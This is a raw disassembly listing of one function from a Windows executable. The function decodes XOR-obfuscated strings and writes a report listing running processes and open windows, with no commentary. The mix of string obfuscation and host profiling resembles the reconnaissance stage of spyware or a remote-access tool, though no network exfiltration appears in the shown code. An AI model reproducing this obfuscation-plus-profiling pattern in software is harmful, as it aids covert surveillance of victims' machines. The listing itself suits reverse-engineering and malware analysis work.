cmovae rdx, qword [rbp + 0x228]
mov r8, r12
lea rcx, [rbp + 0x208]
call fcn.14001d690
lea rdx, [0x140005950]
lea rcx, [rbp + 0x290]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rbx, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x398]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
mov eax, dword [str.qca5bad_cast]
mov dword [rbp + 0x150], eax
cmp byte [0x14009043f], 0
je 0x140013f7a
mov r8d, r13d
cmp esi, 2
jl 0x140013f4a
movdqa xmm3, xmmword [0x1400919c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140091a80]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091a80]
shufps xmm2, xmm0, 0xdd
movd xmm0, edi
psrad xmm2, xmm0
mov r12d, Ordinal_33
movd xmm0, r12d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400919e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.22222222222222223333333333333333O]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp + 0x150], xmm2
jmp 0x140013f80
lea r9, [rbp + 0x150]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140013f51
mov r12d, Ordinal_33
lea rdx, [rbp + 0x150]
mov rcx, rbx
call fcn.1400208c0
mov rcx, rax
lea rdx, [0x14009044c]
call fcn.1400208c0
lea rdx, [rbp + 0x208]
cmp qword [rbp + 0x220], 0x10
cmovae rdx, qword [rbp + 0x208]
mov r8, qword [rbp + 0x218]
mov rcx, rax
call fcn.140026840
lea rdx, [0x140020a90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movups xmm0, xmmword [str.qRDA_XV9]
movups xmmword [rbp + 0x380], xmm0
pextrw eax, xmm0, 7
test ax, ax
je 0x14001412d
mov r8d, r13d
cmp esi, 2
jl 0x1400140f6
movdqa xmm4, xmmword [0x140091a80]
movd xmm6, edi
movd xmm5, r12d
movdqa xmm8, xmmword [str.22222222]
movdqa xmm2, xmmword [0x1400919c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [str.qRDA_XV9]
pxor xmm3, xmm0
movq qword [rbp + 0x380], xmm3
movdqa xmm2, xmmword [0x1400919d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x388]
pxor xmm3, xmm0
movq qword [rbp + 0x388], xmm3
jmp 0x14001412d
lea r9, [rbp + 0x380]
nop dword [rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 8
jl 0x140014100
movups xmm0, xmmword [str.avxpuc]
movups xmmword [rbp + 0x160], xmm0
movups xmm1, xmmword [0x14008fba8]
movups xmmword [rbp + 0x170], xmm1
mov eax, dword [0x14008fbb8]
mov dword [rbp + 0x180], eax
mov r8d, r13d
cmp esi, 2
jl 0x1400142a7
movdqa xmm5, xmmword [0x1400919c0]
movdqa xmm4, xmmword [0x140091a80]
movd xmm6, edi
movdqa xmm7, xmmword [0x1400919e0]
movd xmm8, r12d
movdqa xmm0, xmmword [str.22222222222222223333333333333333O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x164]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400141a0
cmp r8d, 0x24
jge 0x1400142f0
movsxd rax, r8d
lea r9, [rbp + 0x160]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x1400142c0
mov ecx, Ordinal_26
call fcn.14007c5c0
mov rbx, rax
mov qword [rbp + 0x158], rax
test rax, rax
je 0x140014331
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r13
mov dword [rbx + 0x10], 1
lea rcx, [rbp + 0x160]
call fcn.14007d9a0
mov qword [rbx], rax
jmp 0x140014334
mov rbx, r13
mov qword [rbp - 0x58], rbx
test rbx, rbx
je 0x140014d18
lea r8, [rbp + 0x380]
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x40]
call fcn.140009a00
mov rbx, rax
lea rdx, [0x140005950]
lea rcx, [rbp + 0x290]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdi, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x398]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov r8, qword [rax]
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
add rcx, rdi
mov rdx, qword [rax + 8]
call r8
mov eax, dword [str.uca5]
mov dword [rbp + 0x150], eax
cmp byte [0x14009195f], 0
je 0x140014479
mov r8d, r13d
cmp esi, 2
jl 0x140014449
movdqa xmm3, xmmword [0x1400919c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140091a80]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091a80]
shufps xmm2, xmm0, 0xdd
mov ecx, 4
movd xmm0, ecx
psrad xmm2, xmm0
movd xmm0, r12d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400919e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.22222222222222223333333333333333O]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp + 0x150], xmm2
jmp 0x140014479
lea r9, [rbp + 0x150]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140014450
lea rdx, [rbp + 0x150]
mov rcx, rdi
call fcn.1400208c0
mov rcx, rax
lea rdx, [0x14009044c]
call fcn.1400208c0
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x1400144a5
mov rbx, qword [rbx]
mov rdx, rbx
mov rcx, rax
call fcn.140026840
lea rdx, [0x140020a90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140014501
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400144fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400144fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007c5fc
lea rdx, str._n__________LIST_OF_PROCESSES___________n_n
lea rcx, [rbp + 0x290]
call fcn.1400208c0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140014777
mov dword [rbp + 0x20], 0x130
lea rdx, [rbp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140014777
nop dword [rax + rax]
lea rdx, [0x140005950]
lea rcx, [rbp + 0x290]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rbx, rax
mov edx, 0xa
lea rcx, [rbp + 0x398]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
lea r9, [rbp + 0x3cd]
mov r8d, dword [rbp + 0x28]
nop dword [rax + rax]
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x1400145a0
mov qword [rbp + 0x160], r13
mov r8, r13
mov qword [rbp + 0x170], r13
mov eax, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x178], rax
mov byte [rbp + 0x160], dl
lea rcx, [rbp + 0x3cd]
cmp r9, rcx
je 0x140014620
lea r8, [rbp + 0x3cd]
sub r8, r9
mov rdx, r9
lea rcx, [rbp + 0x160]
call fcn.140001840
mov rax, qword [rbp + 0x178]
mov r8, qword [rbp + 0x170]
or r15d, 0xc00
lea rdx, [rbp + 0x160]
cmp rax, 0x10
cmovae rdx, qword [rbp + 0x160]
mov rcx, rbx
call fcn.140026840
lea rdx, [0x14009044c]
mov rcx, rax
call fcn.1400208c0
mov rbx, rax
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x40], 0
lea rax, [rbp + 0x4c]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140014680
lea rdx, [rbp + 0x4c]
lea rcx, [rsp + 0x40]
call fcn.140001840
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
mov rcx, rbx
call fcn.140026840
lea rdx, [0x140020a90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140014705
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014700
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140014935
call fcn.14007c5fc
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp + 0x178]
cmp rdx, 0x10
jb 0x140014759
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014754
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001493c
call fcn.14007c5fc
lea rdx, [rbp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140014550
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str._n__________LIST_OF_WINDOW___________n_n
lea rcx, [rbp + 0x290]
call fcn.1400208c0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a8], xmm1
mov qword [rbp + 0x1b8], r13
lea rdx, [rbp + 0x1a8]
lea rcx, [0x140008e50]
call qword [sym.imp.USER32.dll_EnumWindows]
mov rdi, qword [rbp + 0x1b0]
mov rbx, qword [rbp + 0x1a8]
cmp rbx, rdi
je 0x1400148d1
add rbx, 0x20
nop dword [rax + rax]
mov dword [rbp + 0x150], r13d
lea rdx, [rbp + 0x150]
mov rcx, qword [rbx - 0x20]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edx, dword [rbp + 0x150]
lea rcx, [rsp + 0x40]
call fcn.14000adb0
bts r15d, 0xc
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
lea rcx, [rbp + 0x290]
call fcn.140026840
mov dl, 9
mov rcx, rax
call fcn.140020700
lea rdx, [rbx - 0x18]
cmp qword [rbx], 0x10
jb 0x140014836
mov rdx, qword [rdx]
mov r8, qword [rbx - 8]
mov rcx, rax
call fcn.140026840
lea rdx, [0x140090788]
mov rcx, rax
call fcn.1400208c0
lea rdx, [rbx + 8]
cmp qword [rbx + 0x20], 0x10
jb 0x14001485f
mov rdx, qword [rdx]
mov r8, qword [rbx + 0x18]
mov rcx, rax
call fcn.140026840
lea rdx, [0x140020a90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400148b9
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400148b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140014943
call fcn.14007c5fc
add rbx, 0x48
lea rax, [rbx - 0x20]
cmp rax, rdi
jne 0x1400147d0
mov rbx, qword [rbp + 0x1a8]
mov rdi, qword [rbp - 0x68]
mov qword [rdi], r13
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
bts r15d, 0xe
mov dword [rbp - 0x70], r15d
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b8], xmm0
mov ecx, dword [rbp + 0x308]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x14001494a
mov rax, qword [rbp + 0x2d8]
mov r8, qword [rax]
test r8, r8
je 0x14001494a
mov rax, qword [rbp + 0x2b8]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x300]
cmovb r8, qword [rbp + 0x300]
sub r8, rdx
jmp 0x140014988
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
test cl, 4
jne 0x14001497a
mov rax, qword [rbp + 0x2d0]
mov rcx, qword [rax]
test rcx, rcx
je 0x14001497a
mov rax, qword [rbp + 0x2b0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2e8]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x140014988
mov r8, qword [rbp + 0x3c0]
mov rdx, qword [rbp + 0x3b8]
test rdx, rdx
je 0x14001499c
mov rcx, rdi
call fcn.140001840
mov rbx, qword [rbp + 0x1a8]
test rbx, rbx
je 0x140014a3c
mov rdi, qword [rbp + 0x1b0]
cmp rbx, rdi
je 0x1400149c9
mov rcx, rbx
call fcn.140009150
add rbx, 0x48
cmp rbx, rdi
jne 0x1400149b1
mov rbx, qword [rbp + 0x1a8]
mov rcx, qword [rbp + 0x1b8]
sub rcx, rbx
movabs rax, 0xe38e38e38e38e39
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*8]
shl rdx, 3
mov rax, rbx
cmp rdx, 0x1000
jb 0x140014a1e
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140014a1e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.14007c5fc
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1a8], xmm0
mov qword [rbp + 0x1b8], r13
mov rdi, qword [rbp - 0x68]
mov rdx, qword [rbp + 0x220]
cmp rdx, 0x10
jb 0x140014a80
inc rdx
mov rcx, qword [rbp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014a7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140014a7b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007c5fc
mov qword [rbp + 0x218], r13
mov qword [rbp + 0x220], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x208], 0
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 0x10
jb 0x140014add
inc rdx
mov rcx, qword [rbp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014ad8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140014ad8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007c5fc
mov qword [rbp + 0x198], r13
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x188], 0
mov rdx, qword [rbp + 0x200]
cmp rdx, 0x10
jb 0x140014b3a
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014b35
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140014b35
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007c5fc
mov qword [rbp + 0x1f8], r13
mov qword [rbp + 0x200], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1e8], 0
mov rdx, qword [rbp + 0x1e0]
cmp rdx, 0x10
jb 0x140014b97
inc rdx
mov rcx, qword [rbp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014b92
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140014b92
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007c5fc
mov qword [rbp + 0x1d8], r13
mov qword [rbp + 0x1e0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1c8], 0
mov rax, qword [rbp + 0x260]
cmp rax, 0x10
jb 0x140014bf2
lea rdx, [rax + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140014be9
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140014be9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.14007c5fc
nop
mov rdx, qword [rbp + 0x280]
cmp rdx, 0x10
jb 0x140014c37
inc rdx
mov rcx, qword [rbp + 0x268]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014c31
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140014c31
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007c5fc
nop
mov rdx, qword [rbp + 0x240]
cmp rdx, 0x10
jb 0x140014c7c
inc rdx
mov rcx, qword [rbp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014c76
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140014c76
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007c5fc
nop
mov rcx, qword [rbp + 0x290]
movsxd rdx, dword [rcx + 4]
lea rax, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rdx + 0x290], rax
mov rcx, qword [rbp + 0x290]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x88]
mov dword [rbp + rdx + 0x28c], r8d
lea rcx, [rbp + 0x298]
call fcn.14001d040
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x318]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rax, rdi
mov rcx, qword [rbp + 0x4f0]
xor rcx, rsp
call fcn.14007c5a0
lea r11, [rsp + 0x630]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 0x8007000e
call fcn.14007d870
nop
mov ecx, 0x8007000e
call fcn.14007d870
int3
mov ecx, 0x8007000e
call fcn.14007d870
int3
mov ecx, 0x8007000e
call fcn.14007d870
nop
mov ecx, 0x8007000e
call fcn.14007d870
int3
mov ecx, 0x8007000e
call fcn.14007d870
int3
mov ecx, 0x8007000e
call fcn.14007d870
int3
mov ecx, 0x8007000e
call fcn.14007d870
nop
mov ecx, 0x8007000e
call fcn.14007d870
int3
mov ecx, 0x8007000e
call fcn.14007d870
int3
call fcn.140001170
int3